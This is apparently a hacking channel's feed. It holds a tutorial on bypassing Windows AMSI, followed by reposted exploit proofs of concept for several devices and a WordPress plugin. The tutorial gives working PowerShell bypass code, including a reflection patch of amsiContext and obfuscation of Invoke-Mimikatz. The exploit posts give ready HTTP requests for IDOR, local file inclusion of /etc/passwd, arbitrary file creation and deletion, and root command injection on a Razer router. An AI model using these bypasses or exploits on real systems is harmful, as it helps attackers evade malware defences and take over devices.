Hacking Articles
A Detailed Guide on AMSI Bypass

IntroductionWindows developed the Antimalware Scan Interface (AMSI) standard that allows a developer to integrate malware defense in his application. AMSI allows an application to interact with any anti-virus installed on the system and prevent dynamic, script-based malwares from executing. We’ll learn more about AMSI, implementation in code and some of the well-known bypasses in this article. Table of content* Background
* Malware naming convention
* How AMSI works
* AMSI Bypass methods:
* Method 1: Powershell downgrade
* Method 2: Obfuscation
* Method 3: Forcing an error
* Method 4: Memory Hijacking
* Method 5: Memory Hijacking (obfuscated opcodes)
* Method 6: AMSI bypass by reflection
* Method 7: Nishang All in One script

* Conclusion BackgroundIn one sentence, it is a script-based malware scanning API provided by Microsoft that can be integrated into any application to scan and detect the integrity of user input in order to safeguard the application and thus, consumers against malwares. For example, a messenger app may scan messages with AMSI for malware before sending it forward to the receiver.

AMSI is vendor-independent and provides open Win32 API and COM interfaces for the developer to use. Since Microsoft manages AMSI itself, the latest malware signatures are auto-updated in it. Hence, a developer can integrate AMSI quite easily to protect its consumers from dynamic, script-based malwares. You can read the developer guide here.

AMSI works on signature-based detection. This means that for every particular malicious keyword, URL, function or procedure, AMSI has a related signature in its database. So, if an attacker uses that same keyword in his code again, AMSI blocks the execution then and there. Malware naming conventionBefore reading more about the working of AMSI, let’s understand how malwares are named. Often in analysis, Windows detects malware but analysts are unable to identify the exact details and behaviour of the malware. Computer Antivirus Research Organisation (CARO) has given a standard naming convention for malware. For example, a shortcut based caphaw backdoor is named like:

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVcWnH5FeQEqvmC29TQb_Y5p4HoukQ6kg9n0rFPRQQRs9bY744FIV3T3rJsHuNF5awNCLvuSPUruZpQRz4ATVc1OMEXZR66OVi6cZ6QsvdwWMgGy8LwLBqPmK4fBNyfXmkmpjepSFxwyBPMsknWhE2F5IiRJZIoQ9BTSn4SDEmQsx5fRSNycRjWZvCpA/s16000/0.png?w=640&ssl=1

Read more about malware here. How AMSI worksAs a developer, you can use AMSI to provide malware defense using AMSI. Let’s say you create an application that inputs a script and executes it using a scripting engine like Powershell. At the point when input is being taken, AMSI can be called in to check for malware first. Windows provides COM and Win32 APIs to call AMSI. The workflow of AMSI is as follows:

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK04zHRArW2xEe2hBlsIL61s2_HTCNZ1zkIdWJseU9v1xL9wOrznbH3ZPQDtSRSPVLvhVnNB1pSZXMr6izoh2wetWhvCGhzV2pnbZIAzzhEQ2kZCVStITIAeH4wbFJSk2XhnnYfox6ONiRREtnK8vqQdCX5c-MSLOmjH_30yr7hvLHlYsFVByUVy_QoQ/s16000/1.png?w=640&ssl=1

Explanation: As you can see, the AMSI API is open, so any AV can read the data from its functions. Here, a windows script is being run. When it is passed through AMSI, amsi.dll is injected in the same virtual memory as that of our program. This amsi.dll has various functions that can evaluate code. These functions can be found here. However, the actual scanning task is conducted by these two functions:

* AmsiScanString()
* AmsiScanBuffer()

These functions evaluate the code. If the code is clean, the results are finally passed to the AV provider class and from there to the AV service using RPC call. If the code is suspicious, it is blocked by the AMSI itself. AMSI Bypass methodsNow that we have discussed the bas[...]

___________________________
@hacking_Attack
@Hacking_Video

ics of AMSI, we will be discussing some of the very well-known techniques to bypass AMSI. Bypassing AMSI is often necessary for red-teamers in order to execute arbitrary code for lateral movement/privilege escalation.

To cover all of the bypass methods extend beyond the scope of this article as there are new methods coming in each day. The prominent ones are discussed here and tested on Windows 10 version 1809. It is to be noted that the latest versions of Windows (beyond 1903) block almost all of the methods available on the internet as signatures keep getting updated.

NOTE: AMSI blocks certain keywords like “invoke-mimikatz” or “amsiutils” since they are widely known to be used for exploitation and so, as a proof of concept, we will only be running these commands post bypass. Actual payloads won’t be bypassed here.

Microsoft has integrated AMSI in the powershell terminal (powershell.exe application) which takes in input and parses it through the Powershell engine. If we open process hacker and search for amsi.dll we will see that amsi is running in the powershell terminal and any input will first be scanned by it.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKCgy0qzws_J17Y7uxUY70mcRdJ7OKVSBojrF-nevRRra1NA4DY84plKwqOMEZHTAsNnCqux6Xq56Gpn3H2vHD7yZSAgc9ewRMqj96MHbCFRTXGdENcR698n9XgOWERK7xtV2t9MwtcNPW3zM3jqWAykADpjuHt0KKg9vZKr7YQjZ5Yk6EkZlM_GZaFA/s16000/2.png?w=640&ssl=1 Method 1: Powershell DowngradeIf you’re running a powershell based payload and AMSI blocks it, you can downgrade your powershell version to 2.0 as AMSI is only supported beyond v2.0. First, you can see that our keywords are being blocked by amsi.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK-yCaGGBt2Ywr4hCMWsyIkIeFbSeH-ShKqlnFDq4BrIItEQeBvU9jQ8BIM0tnVz0DlP-Yp_xk0rVVTqRVK6XrTnqK0cuUykmptec1pW-dTe1IpkqC_JIl-ilB-4MyJ2rreUBEzbIayRiWGeU7oomI8PWuVf17jkMmRR7K6rMpmC96YYUwyldebvWBcg/s16000/3.png?w=640&ssl=1

Let’s check the current version of PS and then downgrade to version 2 and run these blocked commands again.
$PSVersionTable
"amsiutils"
powershell -version 2
"amsiutils"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHA_s6XQCsf7zguP-SlVRO0RouwqsNGMwyfXXbS4TJ65Y6S5JV3ONqFaX_EtSaJ6j6Jrz2Rwz8Lonn-1ArPMCvlV8KktbpyCftZ6mm2ZAVqooZqMcWHaBNjCu4GXVdjzJj05HvLzMCKnesaVM6StpIQlQz8-4aTz1BK97W4KIfpWTWIqGzeQPIQzDyFw/s16000/4.png?w=640&ssl=1

But as you would imagine, the biggest drawback here is that many modern functions or scripts won’t run on Powershell 2.0. So, let’s see some other methods. Method 2: ObfuscationObfuscation refers to the trick of making your code complex and un-readable. AMSI detects signatures on the basis of certain keywords, and so, obfuscating these keywords works. For example, let’s obfuscate the invoke-mimikatz command
Invoke-Mimikatz
"Inv”+"o+"ke"+"-Mimi"+"katz"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsxf8JumXzmhtctowt43YiZedvu3mC2ckOOBcfaLDWs-6HnqwrJ5Ede9HU6kb_ccoWMgWdUWirtV98lrjcQNxJHFvzPk5pGPpXqxakD5Vw0ngeYPulxdM3XeybGBg0JxYRhu30Hka4KWPccFIvLrud5fcJthk0kyTSivkqRDrU7jGeY8SZg0CheDM0ZQ/s16000/5.png?w=640&ssl=1

As you can see, simply by breaking a string and concatenating them using the + operator we were able to bypass AMSI.

However, this technique has its own demerits. A payload may trigger AMSI one or more times. It is virtually very time consuming and noise creating to keep obfuscating keyword by keyword after each run of a payload. Hence, we follow this manual obfuscation guide by @ShitSecure.

RhytmStick developed this tool “AmsiTrigger” which can scan a script/payload against AMSI and tell us which lines exactly would trigger AMSI and then we can obfuscate them! You can download the tool here.

Now, we have created a script called demo.ps1 with the following commands

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicxomg8UBZcQrhcNJ-yE0ihCLWEN5WmvFCXxI49Qs3N-vdWydFpvKuv4iLY3Ca10So4I7jhezilSWUIlyc8wXNqABBhxGFolB5V8FsH3G[...]

___________________________
@hacking_Attack
@Hacking_Video

vlbbdmGyDX6wpFRxkdIo1x1k4I3EanlV0pKV_dpWy4y2gayRNFWstWPJ-0igVu4SegHfhFWQNMK2vusGJPQ/s16000/6.png?w=640&ssl=1

I want to check this against AMSI using AmsiTrigger. This can be done like:
.\demo.ps1
.\AmsiTrigger.ps1 -i .\demo.ps1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzy92xJG8OTKOTEmnUwjOXLb0Fvwm55j4OcKsjkS13bAuPWW0czTC2ilFG_ugA27gAOGCXCD25ffN-2tyVPzz_1TXr6hRmL5iLSWSPWa7NPQxALAi4jLYzWaUeU8e8SfVQRDynT_231n-cQ8F8m8g3BmeVYh-7A_sEsXlV9gRTqqbv8JMkJlaqYi4rwQ/s16000/7.png?w=640&ssl=1

Now, the tool has told me the lines where AMSI blocks execution. We can go ahead and obfuscate them using the string concatenation method like:
"am"+"si"+"ut"+"ils"
"in"+"vok"+"e"+"-"+"mi"+"mik"+"atz"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJoWij3FKcMj7p0vHtXT-UGJhvCTlp0CRAH9_CGihlXnZhBqSrfFzupmXmS6XS9fUmhjuI6Nw5iJ98N_WFj8jYGJvy-o3x5ko7uBrof6ShTMv8qO1xuqN0Fa3ePu-FiZkVIeYlxGh4GZVUMu3B3tdLuhpT9sxqAKJ4kOX3cq27sAyl_px4q5QMJkkQqw/s16000/8.png?w=640&ssl=1

Now, they can be run and successfully bypass AMSI!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3qHXGv0IllNxmRYWlNQPxHgxcmalYWj25cxoJJF0Gx_4psR3B9mhpwfAFmyQrGHmrq6sj7W6GDgmjECV8VsLIwmGAItaZaFN4Y-0SalxaspYQChn-vx00AsnPovKJBbFdxbZpR8ZpPDk1tg5g3_I15x2POKjSMdwD2BheJzll7H6GI66OiP1RqF1W0w/s16000/9.png?w=640&ssl=1

You can also try https://amsi.fail to obfuscate your code. Method 3: Forcing an errorMatt Graeber talked about a method to bypass AMSI in his tweet here. A function called amsiInitFailed() exists which throws 0 if AMSI scan is initiated in the scenarios shown above. This bypass is basically assigning amsiInitFailed a boolean True value so that AMSI initialization fails – no scan will be done at all for the current process! The code is:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuG5mV6PnYS2ykdsqIhaXzUCZk_PpKJXRibOsFjj2yqoWOfkodX5ZxuECcnj6R9wWTKwYAYEy-NF9lLylEH904M2xtwSKz6SniAuABymRa5k5w8Ge4PdnaLgGK40n0A84HRbuUujYaW9FoDlg9yRYbGk6IQ6qQIt2YYnjfcRYJvi-K0KJcVSvxZV_SQQ/s16000/10.png?w=640&ssl=1

Ever since that time, many people have posted different variants of the same method. In some methods bytecode is used, in others, functions are replaced or strings are replaced but the logic prevails the same. Method 4: Memory HijackingDaniel Duggan posted about memory hijacking techniques that can bypass AMSI in his blog here. The logic is to hook (read about hooking here) the function AmsiScanBuffer() so that it always returns the handle AMSI_RESULT_CLEAN indicating that AMSI has found no malware. The API responses could be monitored using the API monitor tool by Rohitab.

First, let’s download the Invoke-Mimikatz script and see that AMSI is working properly.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEObcgN-Qq6t0Yt_e1ayWdvY1VY4RBgnPz6XKUjmnOig64Z9UUFGOMlJ1y752HqsflA8IUoUJQO2ZevuqyR9JMh128e5YZWQq-dRUqu-RvrSOVSKuClkH_LS1HPHgWTNF4YyVZ29rVyYDz2FIroL4sAkDb1LMb_ftWPEnfGIZ5k8XHQ-aNG27tHvPU9A/s16000/11.png?w=640&ssl=1

Now, the actual code is provided here. However, to reduce your hassle of compiling the code as DLL, you can check my fork here. After it is downloaded, make sure you change the main package’s name from “AmsiScanBufferBypass” to “Project” or whatever you like as AMSI blocks the string “AmsiScanBufferBypass” too!

After downloading, you go to the release folder and see the presence of a DLL called ASBBypass.dll

Please note that since we now have a DLL, it can be integrated with our EXE payload as well and will bypass AMSI on the go!

However, here, we will be using in-line C# code to activate the patch using the powershell terminal o[...]

___________________________
@hacking_Attack
@Hacking_Video

nly! This can be done like:
[System.Reflection.Assembly]::LoadFile("C:\users\hex\Project\ASBBypass.dll")
[Amsi]::Bypass()
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW1YWdvdLrZNnRJ-KCoXHwyjn4vZidhB2ND-8UzlusO-e0zMpNK-TAORCQPkuMD3uOJr1bUWd0EL0gcixpOfCSTvMFv-PYKdz5BFV2zUGogR5egm0-eaqebx3_PfRu9kYASH6_-EnitowOpuYWsrZqe8yzdXb3nmPHgl0yyBlHFclVUz6yEybji1bbZw/s16000/12.png?w=640&ssl=1

As you can see, amsi has now been bypassed! Method 5: Memory Hijacking (obfuscated opcodes)After the Rasta Mouse (Daniel Duggan) technique started getting detected, people made various changes in the code to make it FUD again. Fatrodzianko posted about one such technique in his blog here. He obfuscated the same code using opcodes and put the script on gist here.

To run the script, just download it, rename it (to avoid keyword detection by AMSI) and run like:
"invoke-mimikatz"
.\my-am-bypass.ps1
"invoke-mimikatz"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhA7Ng0eACK4CQuICxOt6dQxU2oFob2xmq3G54U3taLkx6Nn-SriNOWElCJGUDTxs14dpFdcH9uW9aQ0dLrbdePe-dbLA1aS6-JQNwc5Px7k49T0S49jlfeeUX9KjO3EHCNLUXxTJE-RLmtIZW_ZFLAsC9iUmYPLy3xNpOy678ZtviABPhiFPfqa1zHQA/s16000/13.png?w=640&ssl=1

As you can see, we have successfully bypassed AMSI now. Method 6: AMSI bypass by reflectionAccording to Microsoft, “Reflection provides objects (of type Type) that describe assemblies, modules, and types. You can use reflection to dynamically create an instance of a type, bind the type to an existing object, or get the type from an existing object and invoke its methods or access its fields and properties. If you are using attributes in your code, reflection enables you to access them.” Read more here.

Paul Laine posted the original memory hijacking method on contextis.com blog here. Shantanu Khandelwal converted the same code to become full in-memory patch by using Matt Graeber’s reflection technique mentioned here. Shantanu made the code stealthier as no on-disk artefact was left now. See his site here.

We won’t demonstrate the original patch but the reflection update is downloaded from here. Make sure you download and rename the script and avoid keywords like “amsibypass” etc since they get blocked. I have renamed it to “am-bp-reflection.ps1”
"invoke-mimikatz"
.\am-bp-reflection.ps1
"invoke-mimikatz"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtG_5bL--OFzp12MsQQzUsklWOHuM0eg9RcpB51VdK4U9HUk19ghtW1HZit-lOxJecdCSwoVPaCSe0lkLT1i0lB2Oe1u3VMsBREBM4Bszfoe7GWidrqIDZVDZ7rbvPchiyF2APjfih6rLvYPtr7U1Bsn4YCp-eUzozzyp077ZMLClU0mqkHhOf2Tl0Gw/s16000/14.png?w=640&ssl=1 Method 7: Nishang All in One scriptNikhil Mittal added an AMSI bypass script in his well-known tool “Nishang,” which can be found here. The script combines 6 different methods to bypass AMSI under one run. These are:

* unload – Method by Matt Graeber. Unloads AMSI from current PowerShell session.
* unload2 – Another method by Matt Graeber. Unloads AMSI from current PowerShell session.
* unloadsilent – Another method by Matt Graeber. Unloads AMSI and avoids WMF5 autologging.
* unloadobfuscated – ‘unload’ method above obfuscated with Daneil Bohannon’s Invoke-Obfuscation – which avoids WMF5 autologging.
* dllhijack – Method by Cornelis de Plaa. The amsi.dll used in the code is from p0wnedshell (https://github.com/Cn33liz/p0wnedShell)
* psv2 – If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which doesn’t support AMSI.

We just have to download the script and run and the tool automatically will bypass AMSI using a valid method. For example, here WMF5 autologging bypass has worked. This method unloads AMSI from the current terminal and bypasses it.

Download the script from here and rename it to “nishang.ps1” and run it like so:
Import-Module .\nishang.ps1
Invoke-AmsiBypass -Verbose
“invoke-mimikatz”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgANKgHRkKzjJVUyf8oF7ICaDcN3cDPS86kn9TnMOR5A7ZALQL6e1CIdaMbTsZ[...]

___________________________
@hacking_Attack
@Hacking_Video

cNxMX0oCEWn62eHLUHvHGv-tSMfSL1RFNNLKCsuvetLiFSg_aYpbAomJnHLfkLMRTZaR7u6cmLa6dTbHWVLTOGHLFQjuoj47fwQnsfa9sgIqpkWVaKrHrPiAFJOZqrA/s16000/15.png?w=640&ssl=1 ConclusionIn this article, we talked about the basics of AMSI, how to use them in a program, workflow and 7 ways to bypass them. It is to be noted that there are more ways than shown here but the aim of the article was to talk about most widely known 7 methods to bypass AMSI and how this AMSI evasion game has developed over time and how complexity has only increased. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post A Detailed Guide on AMSI Bypass appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SAM SUNNY TRIPOWER 5.0 Insecure Direct Object Reference

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png
SAM SUNNY TRIPOWER version 5.0 suffers from an insecure direct object reference vulnerability.

MD5 | cf530ea25acc249bd4a94f9463c797d0

Download
# Exploit Title: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.sma.de
# Version: SUNNY TRIPOWER 5.0 Firmware version 3.10.16.R
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46416

# Proof of Concept

============[ Normal user request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A861%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1

============[ Manipulated username request ]============

GET / HTTP/1.1
Host: 192.168.1.4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A850%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D
Upgrade-Insecure-Requests: 1


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MiniTool Partition Wizard 12.0 Unquoted Service Path

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png
MiniTool Partition Wizard version 12.0 suffers from an unquoted service path vulnerability.

MD5 | 22f69c77e7609945030fec4efb7eba28

Download
# Exploit Title: MiniTool Partition Wizard - Unquoted Service Path
# Date: 08/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.minitool.com/
# Software Link: https://www.minitool.com/download-center/
# Version: 12.0
# Tested: Windows 10
# PoC :

C:\Users\saudh>sc qc MTSchedulerService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTSchedulerService
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MTSchedulerService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\saudh>icacls "C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe"
C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Telesquare TLR-2855KS6 Arbitrary File Creation

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Telesquare TLR-2855KS6 suffers from an arbitrary file creation vulnerability.

MD5 | ba82661c541feb7ec102d8bb648b606c

Download
# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46418

# Proof of Concept

PUT /cgi-bin/testing_cve.txt HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: nonce=1642692359833588
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 Local File Inclusion

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
Franklin Fueling Systems Colibri Controller Module version 1.8.19.8580 suffers from a local file inclusion vulnerability.

MD5 | b7439b8411a5e5db2349008648bfd0ff

Download
# Exploit Title: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.franklinfueling.com/
# Version: 1.8.19.8580
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46417

# Proof of Concept

============[ HTTP Exploitation ]============

GET /18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password= HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: Prefs=LID%3Des%3BPDS%3DMM/dd/yyyy%3BPDL%3DEEEE%2C%20MMMM%20dd%2C%20yyyy%3BPDY%3DMMMM%2C%20yyyy%3BPTS%3DHH%3Amm%3BPTL%3DHH%3Amm%3Ass%3BDSP%3D.%3BGSP%3D%2C%3BGRP%3D3%3BLDZ%3Dtrue%3BUVL%3DuvGallons%3BULN%3DulMillimeters%3BUTM%3DutCentigrade%3BUPR%3DupPSI%3BUP2%3Dup2inWater%3BUP3%3Dup3inHg%3BUFL%3Dufgpm%3BUDY%3Dudkgpcm%3BUMS%3Dumkgrams%3BRPR%3D30%3BXML%3Dfalse%3B
Upgrade-Insecure-Requests: 1

============[ URL Exploitation ]============

http://192.168.1.6/18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password=


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Telesquare TLR-2855KS6 Arbitrary File Deletion

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Telesquare TLR-2855KS6 suffers from an arbitrary file deletion vulnerability.

MD5 | a65dfe9a381b50d2e2af1bcd0a0fc6de

Download
# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46419

# Proof of Concept

DELETE /cgi-bin/test.cgi HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 438
Origin: http://192.168.1.5
DNT: 1
Connection: close
Referer: http://192.168.1.5/
Cookie: nonce=16426923592222


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Anti-Malware Security And Brute-Force Firewall Cross Site Scripting

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
WordPress Anti-Malware Security and Brute-Force Firewall plugin versions prior to 4.20.96 suffer from a cross site scripting vulnerability.

MD5 | 2f8b972a36566b684356e0ea7f6fb4c0

Download
Tittle:
WordPress Plugin Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site Scripting

References:
CVE-2022-0953

Author:
Taurus Omar

Description:
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters.

Affects Plugins:
Gotmls - Fixed in version 4.20.96

Proof of Concept:
GET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a=">
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Razer Sila 2.0.418 Command Injection

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Razer Sila versions 2.0.441_api through 2.0.418 suffer from a command injection vulnerability.

MD5 | 5eeeac18e38c618f85b2b4448e71a589

Download
# Exploit Title: Razer Sila - Command Injection
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 85

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"uid=0(root) gid=0(root)\n"}]}

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"ls"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 172

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"bin\ndev\netc\nhome\ninit\nlib\nmnt\nno_gui\noverlay\nproc\nrom\nroot\nsbin\nservices\nsys\ntmp\nusr\nvar\nwww\n"}]}


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video